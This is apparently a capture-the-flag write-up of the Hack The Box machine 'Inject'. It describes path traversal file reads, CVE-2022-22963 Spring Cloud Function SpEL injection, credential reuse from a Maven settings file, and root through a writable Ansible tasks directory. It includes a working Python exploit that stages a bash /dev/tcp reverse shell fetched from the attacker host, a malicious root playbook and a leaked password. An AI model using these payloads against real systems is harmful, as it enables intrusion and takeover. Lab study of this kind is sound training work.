HTB: Inject
LFI leaks the pom, Spring Cloud Function SpEL injection gives a shell, then a root ansible-playbook cron
A path traversal in an image endpoint leaked the app source and pom.xml, which pinned spring-cloud-function-web 3.2.2. That version is vulnerable to CVE-2022-22963, a SpEL injection in the routing expression header, which gave a shell as the app user. A maven settings.xml leaked phil's password for lateral movement, and a root-run ansible-playbook over a writable tasks directory gave root.
the box
Inject is an easy Linux box at 10.10.11.204. Two ports were open: 22 running OpenSSH 8.2p1 (the Ubuntu 4ubuntu0.5 package, so 20.04 focal) and 8080 serving a Spring Boot web app titled “Home”. The whole chain ran through 8080. The recurring theme is one weak link feeding the next: a file read that does not execute code on its own but hands over the exact dependency versions, which turns a guess into a known CVE.
recon
I started with a full port sweep, then a service scan on what came back.
nmap -p- --min-rate 10000 10.10.11.204
nmap -p 22,8080 -sCV 10.10.11.204
The interesting result:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
nmap mislabeled 8080 as Nagios NSCA, but the http-title: Home gave it away as a web server. Browsing to http://10.10.11.204:8080/ showed a cloud storage app. The pages worth noting:
/home/uploadan upload form/show_image?img=renders an uploaded image by filename/blogs,/register,/environmentother routes
The upload feature rendered images back through show_image, and that endpoint took a filename and passed it straight to a file read with no sanitizing. Feeding it . returned a directory listing instead of an image, which is the first sign the parameter is reaching the filesystem directly. Walking up the tree confirmed traversal:
http://10.10.11.204:8080/show_image?img=../../../../../../../../etc/passwd
That returned /etc/passwd, so arbitrary file read with no extension requirement. From /etc/passwd I pulled the local users with shells:
frank:x:1000:1000::/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
Because the parameter listed directories too, I used it as a crude file browser. Listing /var/www/ showed html and WebApp. Listing /var/www/WebApp/ gave the Java project layout:
.classpath
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
The file that mattered was pom.xml. I read it through the traversal:
http://10.10.11.204:8080/show_image?img=../../../../../../../var/www/WebApp/pom.xml
The parent pinned Spring Boot 2.6.5 on Java 11, and one dependency stood out:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
That version number is the whole foothold. Spring Boot 2.6.5 with Java 11 also looks like Spring4Shell (CVE-2022-22965) territory, but the deployment here is a fat JAR rather than a WAR on Tomcat, so Spring4Shell does not apply. The spring-cloud-function-web pin is the real target.
foothold
spring-cloud-function-web 3.2.2 is vulnerable to CVE-2022-22963. Spring Cloud Function lets you route requests to a function by name, and when you POST to /functionRouter, the framework reads the spring.cloud.function.routing-expression header and evaluates it as a SpEL (Spring Expression Language) expression. SpEL can reach arbitrary Java, so a header like T(java.lang.Runtime).getRuntime().exec(...) runs whatever command you want. It was fixed in 3.1.7 and 3.2.3.
The expression I needed:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("COMMAND")
First I proved execution with a ping I could watch on a tcpdump:
curl -X POST http://10.10.11.204:8080/functionRouter \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping -c 1 10.10.16.19")' \
-d 'a'
The ICMP echo landed on my listener, so the SpEL is live. Runtime.exec does not parse a shell line though, it splits on spaces and runs the first token as a program with the rest as argv. That breaks pipes, redirects, and the >& in a raw bash reverse shell, so I staged it instead of one-lining it. I wrote a small Python helper that hosts a reverse shell script on port 5555, pulls it down with wget, and runs it:
import requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from sys import argv
import threading
class ReverseShellRequestHandler(BaseHTTPRequestHandler):
def __init__(self, lhost, lport, *args):
self.lhost = lhost
self.lport = lport
BaseHTTPRequestHandler.__init__(self, *args)
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(f"""
#!/bin/bash
bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1
""".encode())
def getHeaderForPayload(command):
return {"spring.cloud.function.routing-expression":
f"T(java.lang.Runtime).getRuntime().exec(\"{command}\")"}
def execCommand(command):
headers = getHeaderForPayload(command)
return requests.post("http://10.10.11.204:8080/functionRouter",
data="a", headers=headers)
def hostReverseShell(lhost, lport):
listener = HTTPServer(('', 5555),
lambda *args: ReverseShellRequestHandler(lhost, lport, *args))
listener.handle_request()
def main():
lhost, lport = argv[1], argv[2]
threading.Thread(target=hostReverseShell, args=(lhost, lport)).start()
execCommand(f"wget http://{lhost}:5555 -O /tmp/.shell.sh")
execCommand("bash /tmp/.shell.sh")
if __name__ == "__main__":
main()
Each call to execCommand is a single program invocation, so wget and bash each run cleanly with their own argv. With a nc -lvnp 1337 waiting, I ran it:
python3 poc.py 10.10.16.19 1337
The box fetched /tmp/.shell.sh, ran it, and the listener caught a shell as frank, the app user. If you would rather avoid the staging file, the same execution works with bash brace expansion to dodge the space splitting, for example bash -c {echo,BASE64}|{base64,-d}|bash, since {a,b} expands to separate argv elements without literal spaces.
user
frank did not own the user flag. Looking around his home, the Maven config leaked a password:
cat /home/frank/.m2/settings.xml
<settings>
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
</server>
</servers>
</settings>
/home/[user]/.m2/settings.xml is the standard place Maven keeps server credentials, so it is a reliable spot to check. I could read the same file earlier over the LFI, which would have given the password before the shell.
SSH as phil was blocked. sshd_config carried a DenyUsers phil line, so the key and password were useless over 22. But the rule only governs SSH, not local switching, so from frank’s shell:
su - phil
# password: DocPhillovestoInject123
That worked, and phil owned user.txt.
root
I dropped pspy64 on the box to watch for scheduled jobs running as other users:
wget http://10.10.16.19/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
On a short interval, root ran an Ansible playbook:
UID=0 PID=1485 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
The driver behind it is a cron calling ansible-parallel /opt/automation/tasks/*.yml, so root runs every .yml file it finds in that directory. The directory permissions are the bug:
ls -ld /opt/automation/tasks
# drwxrwxr-x 2 root staff ... /opt/automation/tasks
id
# ... groups=...,50(staff)
The directory is group-writable by staff, and phil is in staff, so I could drop my own playbook. Anything in there runs as root on the next tick. I wrote a playbook that runs a shell task to make a SUID copy of bash:
cat > /opt/automation/tasks/playbook_2.yml << 'EOF'
- hosts: localhost
tasks:
- name: shell
shell: cp /bin/bash /tmp/.bash; chmod 4755 /tmp/.bash
EOF
The shorthand inline form also works:
echo "[{hosts: localhost, tasks: [shell: /bin/bash /tmp/.shell.sh]}]" > /opt/automation/tasks/playbook_2.yml
When ansible-parallel picked the file up, the task ran as root and dropped a SUID bash. Running it kept the root euid:
/tmp/.bash -p
id
# uid=1001(phil) ... euid=0(root)
cat /root/root.txt
takeaway
The chain is one mistake feeding the next. The LFI did not directly give code execution, but it leaked the exact dependency versions, which turned a guess into a known CVE. Pinning a vulnerable spring-cloud-function release is the real foothold, and Runtime.exec splitting on spaces is the reason the shell needs staging rather than a one-liner. For root, a privileged process that blindly runs every file in a group-writable directory is an escalation waiting for anyone in that group.